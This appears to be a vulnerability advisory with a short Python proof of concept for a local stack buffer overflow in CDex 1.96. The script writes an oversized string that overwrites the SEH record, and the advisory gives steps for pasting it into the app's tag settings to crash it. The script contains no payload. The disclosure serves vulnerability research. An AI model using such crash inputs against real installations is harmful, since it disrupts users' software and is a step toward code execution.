CDex 1.96 Stack Buffer Overflow

CDex version 1.96 suffers from a local stack buffer overflow vulnerability.


MD5 | d81dc1a4ab91adc10b15ae556ba4dc07

#!/usr/bin/python

#
# Exploit Author: bzyo
# Twitter: @bzyo_
# Exploit Title: CDex 1.96 - Local Stack Buffer Overflow
# Date: 17-12-2017
# Vulnerable Software: CDex 1.96 (Unicode Build)
# Vendor Homepage: http://cdex.mu/
# Version: v1.96
# Software Link: http://cdex.mu/?q=download
# Tested On: Windows 7 x32
#
#
# PoC: generate crash.txt, open app, go to options, settings, encoding, tags, paste crash.txt contents in picture text
#
# app crashes; 00420042 Pointer to next SEH record; no unicode ppr pointers
#


file="crash.txt"

crash = "A"*520 + "B"*4 #seh

writeFile = open (file, "w")
writeFile.write( crash )
writeFile.close()


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